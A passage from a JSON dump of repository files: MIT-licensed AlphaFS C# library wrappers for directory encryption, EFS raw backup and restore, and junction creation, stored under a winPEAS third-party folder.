pathFormat).Any();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Encryption/Directory.Decrypt.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Decrypts a directory that was encrypted by the current account using the Encrypt method.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path that describes a directory to decrypt.</param>\n      [SecurityCritical]\n      public static void Decrypt(string path)\n      {\n         EncryptDecryptDirectoryCore(path, false, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Decrypts a directory that was encrypted by the current account using the Encrypt method.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path that describes a directory to decrypt.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void Decrypt(string path, PathFormat pathFormat)\n      {\n         EncryptDecryptDirectoryCore(path, false, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Decrypts a directory that was encrypted by the current account using the Encrypt method.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path that describes a directory to decrypt.</param>\n      /// <param name=\"recursive\"><c>true</c> to decrypt the directory recursively. <c>false</c> only decrypt the directory.</param>\n      [SecurityCritical]\n      public static void Decrypt(string path, bool recursive)\n      {\n         EncryptDecryptDirectoryCore(path, false, recursive, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Decrypts a directory that was encrypted by the current account using the Encrypt method.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path that describes a directory to decrypt.</param>\n      /// <param name=\"recursive\"><c>true</c> to decrypt the directory recursively. <c>false</c> only decrypt the directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void Decrypt(string path, bool recursive, PathFormat pathFormat)\n      {\n         EncryptDecryptDirectoryCore(path, false, recursive, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Encryption/Directory.DisableEncryption.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Disables encryption of the specified directory and the files in it.\n      ///   <para>This method only creates/modifies the file \"Desktop.ini\" in the root of <paramref name=\"path\"/> and disables encryption by writing: \"Disable=1\"</para>\n      ///   <para>This method does not affect encryption of files and subdirectories below the indicated directory.</para>\n      /// </summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The name of the directory for which to disable encryption.</param>\n      [SecurityCritical]\n      public static void DisableEncryption(string path)\n      {\n         EnableDisableEncryptionCore(path, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Disables encryption of the specified directory and the files in it.\n      ///   <para>This method only creates/modifies the file \"Desktop.ini\" in the root of <paramref name=\"path\"/> and disables encryption by writing: \"Disable=1\"</para>\n      ///   <para>This method does not affect encryption of files and subdirectories below the indicated directory.</para>\n      /// </summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The name of the directory for which to disable encryption.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void DisableEncryption(string path, PathFormat pathFormat)\n      {\n         EnableDisableEncryptionCore(path, false, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Encryption/Directory.EnableEncryption.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Enables encryption of the specified directory and the files in it.\n      ///   <para>This method only creates/modifies the file \"Desktop.ini\" in the root of <paramref name=\"path\"/> and enables encryption by writing: \"Disable=0\"</para>\n      ///   <para>This method does not affect encryption of files and subdirectories below the indicated directory.</para>\n      /// </summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The name of the directory for which to enable encryption.</param>\n      [SecurityCritical]\n      public static void EnableEncryption(string path)\n      {\n         EnableDisableEncryptionCore(path, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Enables encryption of the specified directory and the files in it.\n      ///   <para>This method only creates/modifies the file \"Desktop.ini\" in the root of <paramref name=\"path\"/> and enables encryption by writing: \"Disable=0\"</para>\n      ///   <para>This method does not affect encryption of files and subdirectories below the indicated directory.</para>\n      /// </summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The name of the directory for which to enable encryption.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void EnableEncryption(string path, PathFormat pathFormat)\n      {\n         EnableDisableEncryptionCore(path, true, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Encryption/Directory.Encrypt.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Encrypts a directory so that only the account used to encrypt the directory can decrypt it.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path that describes a directory to encrypt.</param>\n      [SecurityCritical]\n      public static void Encrypt(string path)\n      {\n         EncryptDecryptDirectoryCore(path, true, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Encrypts a directory so that only the account used to encrypt the directory can decrypt it.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path that describes a directory to encrypt.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void Encrypt(string path, PathFormat pathFormat)\n      {\n         EncryptDecryptDirectoryCore(path, true, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Encrypts a directory so that only the account used to encrypt the directory can decrypt it.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path that describes a directory to encrypt.</param>\n      /// <param name=\"recursive\"><c>true</c> to encrypt the directory recursively. <c>false</c> only encrypt the directory.</param>\n      [SecurityCritical]\n      public static void Encrypt(string path, bool recursive)\n      {\n         EncryptDecryptDirectoryCore(path, true, recursive, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Encrypts a directory so that only the account used to encrypt the directory can decrypt it.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path that describes a directory to encrypt.</param>\n      /// <param name=\"recursive\"><c>true</c> to encrypt the directory recursively. <c>false</c> only encrypt the directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void Encrypt(string path, bool recursive, PathFormat pathFormat)\n      {\n         EncryptDecryptDirectoryCore(path, true, recursive, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Encryption/Directory.ExportEncryptedDirectoryRaw.cs",
    "content": "﻿/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Backs up (export) encrypted directories. This is one of a group of Encrypted File System (EFS) functions that is\n      ///   intended to implement backup and restore functionality, while maintaining files in their encrypted state.\n      /// </summary>\n      /// <remarks>\n      ///   <para>The directory being backed up is not decrypted; it is backed up in its encrypted state.</para>\n      ///   <para>If the caller does not have access to the key for the file, the caller needs <see cref=\"Security.Privilege.Backup\"/> to export encrypted files. See <see cref=\"Security.PrivilegeEnabler\"/>.</para>\n      ///   <para>To backup an encrypted directory call one of the <see cref=\"O:Alphaleonis.Win32.Filesystem.Directory.ExportEncryptedDirectoryRaw\"/> overloads and specify the directory to backup along with the destination stream of the backup data.</para>\n      ///   <para>This function is intended for the backup of only encrypted directories; see <see cref=\"BackupFileStream\"/> for backup of unencrypted directories.</para>\n      ///   <para>Note that this method does not back up the files inside the directory, only the directory entry itself.</para>\n      /// </remarks>\n      /// <seealso cref=\"O:Alphaleonis.Win32.Filesystem.File.ExportEncryptedFileRaw\"/>      \n      /// <seealso cref=\"O:Alphaleonis.Win32.Filesystem.File.ImportEncryptedFileRaw\"/>\n      /// <seealso cref=\"O:Alphaleonis.Win32.Filesystem.Directory.ImportEncryptedDirectoryRaw\"/>\n      /// <param name=\"fileName\">The name of the file to be backed up.</param>\n      /// <param name=\"outputStream\">The destination stream to which the backup data will be written.</param>\n      public static void ExportEncryptedDirectoryRaw(string fileName, Stream outputStream)\n      {\n         File.ImportExportEncryptedFileDirectoryRawCore(true, false, outputStream, fileName, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Backs up (export) encrypted directories. This is one of a group of Encrypted File System (EFS) functions that is\n      ///   intended to implement backup and restore functionality, while maintaining files in their encrypted state.\n      /// </summary>\n      /// <remarks>\n      ///   <para>The directory being backed up is not decrypted; it is backed up in its encrypted state.</para>\n      ///   <para>If the caller does not have access to the key for the file, the caller needs <see cref=\"Security.Privilege.Backup\"/> to export encrypted files. See <see cref=\"Security.PrivilegeEnabler\"/>.</para>\n      ///   <para>To backup an encrypted directory call one of the <see cref=\"O:Alphaleonis.Win32.Filesystem.Directory.ExportEncryptedDirectoryRaw\"/> overloads and specify the directory to backup along with the destination stream of the backup data.</para>\n      ///   <para>This function is intended for the backup of only encrypted directories; see <see cref=\"BackupFileStream\"/> for backup of unencrypted directories.</para>\n      ///   <para>Note that this method does not back up the files inside the directory, only the directory entry itself.</para>\n      /// </remarks>\n      /// <seealso cref=\"O:Alphaleonis.Win32.Filesystem.File.ExportEncryptedFileRaw\"/>      \n      /// <seealso cref=\"O:Alphaleonis.Win32.Filesystem.File.ImportEncryptedFileRaw\"/>\n      /// <seealso cref=\"O:Alphaleonis.Win32.Filesystem.Directory.ImportEncryptedDirectoryRaw\"/>\n      /// <param name=\"fileName\">The name of the file to be backed up.</param>\n      /// <param name=\"outputStream\">The destination stream to which the backup data will be written.</param>\n      /// <param name=\"pathFormat\">The path format of the <paramref name=\"fileName\"/> parameter.</param>\n      public static void ExportEncryptedDirectoryRaw(string fileName, Stream outputStream, PathFormat pathFormat)\n      {\n         File.ImportExportEncryptedFileDirectoryRawCore(true, false, outputStream, fileName, false, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Encryption/Directory.ImportEncryptedDirectoryRaw.cs",
    "content": "﻿/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Restores (import) encrypted directories. This is one of a group of Encrypted File System (EFS) functions that is\n      ///   intended to implement backup and restore functionality, while maintaining files in their encrypted state.\n      /// </summary>\n      /// <remarks>\n      ///   <para>If the caller does not have access to the key for the directory, the caller needs <see cref=\"Security.Privilege.Backup\"/> to restore encrypted directories. See <see cref=\"Security.PrivilegeEnabler\"/>.</para>\n      ///   <para>To restore an encrypted directory call one of the <see cref=\"O:Alphaleonis.Win32.Filesystem.Directory.ImportEncryptedDirectoryRaw\"/> overloads and specify the file to restore along with the destination stream of the restored data.</para>\n      ///   <para>This function is intended for the restoration of only encrypted directories; see <see cref=\"BackupFileStream\"/> for backup of unencrypted files.</para>\n      /// </remarks>\n      /// <seealso cref=\"O:Alphaleonis.Win32.Filesystem.File.ExportEncryptedFileRaw\"/>      \n      /// <seealso cref=\"O:Alphaleonis.Win32.Filesystem.File.ImportEncryptedFileRaw\"/>\n      /// <seealso cref=\"O:Alphaleonis.Win32.Filesystem.Directory.ExportEncryptedDirectoryRaw\"/>\n      /// <param name=\"inputStream\">The stream to read previously backed up data from.</param>\n      /// <param name=\"destinationPath\">The path of the destination directory to restore to.</param>\n      public static void ImportEncryptedDirectoryRaw(Stream inputStream, string destinationPath)\n      {\n         File.ImportExportEncryptedFileDirectoryRawCore(false, true, inputStream, destinationPath, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Restores (import) encrypted directories. This is one of a group of Encrypted File System (EFS) functions that is\n      ///   intended to implement backup and restore functionality, while maintaining files in their encrypted state.\n      /// </summary>\n      /// <remarks>\n      ///   <para>If the caller does not have access to the key for the directory, the caller needs <see cref=\"Security.Privilege.Backup\"/> to restore encrypted directories. See <see cref=\"Security.PrivilegeEnabler\"/>.</para>\n      ///   <para>To restore an encrypted directory call one of the <see cref=\"O:Alphaleonis.Win32.Filesystem.Directory.ImportEncryptedDirectoryRaw\"/> overloads and specify the file to restore along with the destination stream of the restored data.</para>\n      ///   <para>This function is intended for the restoration of only encrypted directories; see <see cref=\"BackupFileStream\"/> for backup of unencrypted files.</para>\n      /// </remarks>\n      /// <seealso cref=\"O:Alphaleonis.Win32.Filesystem.File.ExportEncryptedFileRaw\"/>\n      /// <seealso cref=\"O:Alphaleonis.Win32.Filesystem.File.ImportEncryptedFileRaw\"/>\n      /// <seealso cref=\"O:Alphaleonis.Win32.Filesystem.Directory.ExportEncryptedDirectoryRaw\"/>\n      /// <param name=\"inputStream\">The stream to read previously backed up data from.</param>\n      /// <param name=\"destinationPath\">The path of the destination directory to restore to.</param>\n      /// <param name=\"pathFormat\">The path format of the <paramref name=\"destinationPath\"/> parameter.</param>\n      public static void ImportEncryptedDirectoryRaw(Stream inputStream, string destinationPath, PathFormat pathFormat)\n      {\n         File.ImportExportEncryptedFileDirectoryRawCore(false, true, inputStream, destinationPath, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Restores (import) encrypted directories. This is one of a group of Encrypted File System (EFS) functions that is\n      ///   intended to implement backup and restore functionality, while maintaining files in their encrypted state.\n      /// </summary>\n      /// <remarks>\n      ///   <para>If the caller does not have access to the key for the directory, the caller needs <see cref=\"Security.Privilege.Backup\"/> to restore encrypted directories. See <see cref=\"Security.PrivilegeEnabler\"/>.</para>\n      ///   <para>To restore an encrypted directory call one of the <see cref=\"O:Alphaleonis.Win32.Filesystem.Directory.ImportEncryptedDirectoryRaw\"/> overloads and specify the file to restore along with the destination stream of the restored data.</para>\n      ///   <para>This function is intended for the restoration of only encrypted directories; see <see cref=\"BackupFileStream\"/> for backup of unencrypted files.</para>\n      /// </remarks>\n      /// <seealso cref=\"O:Alphaleonis.Win32.Filesystem.File.ExportEncryptedFileRaw\"/>\n      /// <seealso cref=\"O:Alphaleonis.Win32.Filesystem.File.ImportEncryptedFileRaw\"/>\n      /// <seealso cref=\"O:Alphaleonis.Win32.Filesystem.Directory.ExportEncryptedDirectoryRaw\"/>\n      /// <param name=\"inputStream\">The stream to read previously backed up data from.</param>\n      /// <param name=\"destinationPath\">The path of the destination directory to restore to.</param>\n      /// <param name=\"overwriteHidden\">If set to <c>true</c> a hidden directory will be overwritten on import.</param>\n      public static void ImportEncryptedDirectoryRaw(Stream inputStream, string destinationPath, bool overwriteHidden)\n      {\n         File.ImportExportEncryptedFileDirectoryRawCore(false, true, inputStream, destinationPath, overwriteHidden, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Restores (import) encrypted directories. This is one of a group of Encrypted File System (EFS) functions that is\n      ///   intended to implement backup and restore functionality, while maintaining files in their encrypted state.\n      /// </summary>\n      /// <remarks>\n      ///   <para>If the caller does not have access to the key for the directory, the caller needs <see cref=\"Security.Privilege.Backup\"/> to restore encrypted directories. See <see cref=\"Security.PrivilegeEnabler\"/>.</para>\n      ///   <para>To restore an encrypted directory call one of the <see cref=\"O:Alphaleonis.Win32.Filesystem.Directory.ImportEncryptedDirectoryRaw\"/> overloads and specify the file to restore along with the destination stream of the restored data.</para>\n      ///   <para>This function is intended for the restoration of only encrypted directories; see <see cref=\"BackupFileStream\"/> for backup of unencrypted files.</para>\n      /// </remarks>\n      /// <seealso cref=\"O:Alphaleonis.Win32.Filesystem.File.ExportEncryptedFileRaw\"/>\n      /// <seealso cref=\"O:Alphaleonis.Win32.Filesystem.File.ImportEncryptedFileRaw\"/>\n      /// <seealso cref=\"O:Alphaleonis.Win32.Filesystem.Directory.ExportEncryptedDirectoryRaw\"/>\n      /// <param name=\"inputStream\">The stream to read previously backed up data from.</param>\n      /// <param name=\"destinationPath\">The path of the destination directory to restore to.</param>\n      /// <param name=\"overwriteHidden\">If set to <c>true</c> a hidden directory will be overwritten on import.</param>\n      /// <param name=\"pathFormat\">The path format of the <paramref name=\"destinationPath\"/> parameter.</param>\n      public static void ImportEncryptedDirectoryRaw(Stream inputStream, string destinationPath, bool overwriteHidden, PathFormat pathFormat)\n      {\n         File.ImportExportEncryptedFileDirectoryRawCore(false, true, inputStream, destinationPath, overwriteHidden, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Junctions, Links/Directory.CreateJunction.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Creates an NTFS directory junction (similar to CMD command: \"MKLINK /J\")</summary>\n      /// <remarks>\n      /// The directory must be empty and reside on a local volume.\n      /// <para>\n      ///   MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories,\n      ///   and a junction can link directories located on different local volumes on the same computer.\n      ///   Otherwise, junctions operate 